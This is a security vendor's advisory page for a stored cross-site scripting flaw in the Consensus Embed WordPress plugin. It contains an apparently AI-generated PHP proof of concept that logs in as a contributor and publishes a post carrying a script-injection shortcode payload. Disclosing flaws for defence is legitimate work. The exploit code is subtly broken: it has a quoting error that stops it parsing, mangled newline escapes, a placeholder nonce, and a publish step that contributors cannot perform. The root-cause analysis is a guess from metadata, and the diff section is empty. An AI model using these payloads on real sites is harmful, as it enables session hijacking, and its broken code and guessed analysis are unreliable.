Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1823: Consensus Embed <= 1.6 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'src' Shortcode Attribute (consensus-embed)

CVE ID CVE-2026-1823
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.6
Patched Version
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1823 (metadata-based):

The Consensus Embed plugin for WordPress contains an authenticated stored cross-site scripting vulnerability in versions up to and including 1.6. The vulnerability exists in the plugin’s consensus shortcode handler. The CWE-79 classification confirms improper neutralization of input during web page generation. The description indicates insufficient input sanitization and output escaping on user-supplied attributes.

Atomic Edge research identifies the likely root cause as missing or inadequate sanitization of the ‘src’ shortcode attribute value before rendering. WordPress shortcode attributes typically pass through the `shortcode_atts()` function, but the plugin appears to omit proper escaping when outputting the attribute value in HTML context. The vulnerability requires contributor-level or higher authentication, consistent with WordPress content creation permissions.

Exploitation occurs through the WordPress post editor. An authenticated attacker with contributor privileges injects malicious JavaScript via the consensus shortcode’s ‘src’ attribute. The payload persists in the database and executes when any user views the compromised page. The attack vector is the WordPress editor interface, either through the classic editor’s shortcode block or the block editor’s shortcode widget.

A proper fix requires implementing output escaping with `esc_url()` or `esc_attr()` when rendering the ‘src’ attribute value. The plugin should also validate the URL format before processing. Input sanitization should occur during shortcode attribute parsing using `sanitize_text_field()` or similar functions.

Successful exploitation allows attackers to inject arbitrary JavaScript that executes in victims’ browsers. This can lead to session hijacking, administrative actions performed by logged-in users, content defacement, or redirection to malicious sites. The stored nature means the payload affects all future visitors to the compromised page.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1823 - Consensus Embed <= 1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'src' Shortcode Attribute
<?php

$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: XSS via JavaScript alert demonstrating execution
$xss_payload = '"><script>alert(document.domain)</script>';

// Shortcode with malicious src attribute
$shortcode_content = "[consensus src="javascript:alert('XSS')"]";

// Alternative payload using event handlers if src attribute expects URL
$alternative_payload = "javascript:alert('Atomic Edge Research')";

$ch = curl_init();

// Step 1: Authenticate to WordPress
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ])
]);

$response = curl_exec($ch);

// Step 2: Create new post with malicious shortcode
// Assumption: Contributor can create posts via REST API or admin interface
// Using REST API endpoint for post creation
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode([
        'title' => 'Test Post with XSS',
        'content' => '<p>This post contains the vulnerable shortcode:</p>' . $shortcode_content,
        'status' => 'publish'
    ]),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . extract_nonce($response) // Requires nonce extraction from admin page
    ]
]);

$post_response = curl_exec($ch);
$post_data = json_decode($post_response, true);

if (isset($post_data['link'])) {
    echo "Exploit successful. Visit: " . $post_data['link'] . "n";
    echo "The page will execute JavaScript when loaded.n";
} else {
    echo "Post creation failed. Trying alternative method via admin editor.n";
    
    // Alternative: Use admin post editor form
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPGET => true
    ]);
    
    $editor_page = curl_exec($ch);
    
    // Extract nonce and other required fields from the editor page
    // This is simplified; actual implementation requires parsing the HTML
    echo "Manual exploitation required:n";
    echo "1. Log in as contributor at $target_url/wp-adminn";
    echo "2. Create new postn";
    echo "3. Insert shortcode: $shortcode_contentn";
    echo "4. Publish postn";
}

curl_close($ch);

// Helper function to extract nonce (simplified)
function extract_nonce($html) {
    // In real scenario, parse HTML to find nonce
    // For this PoC, return placeholder
    return 'nonce_placeholder';
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School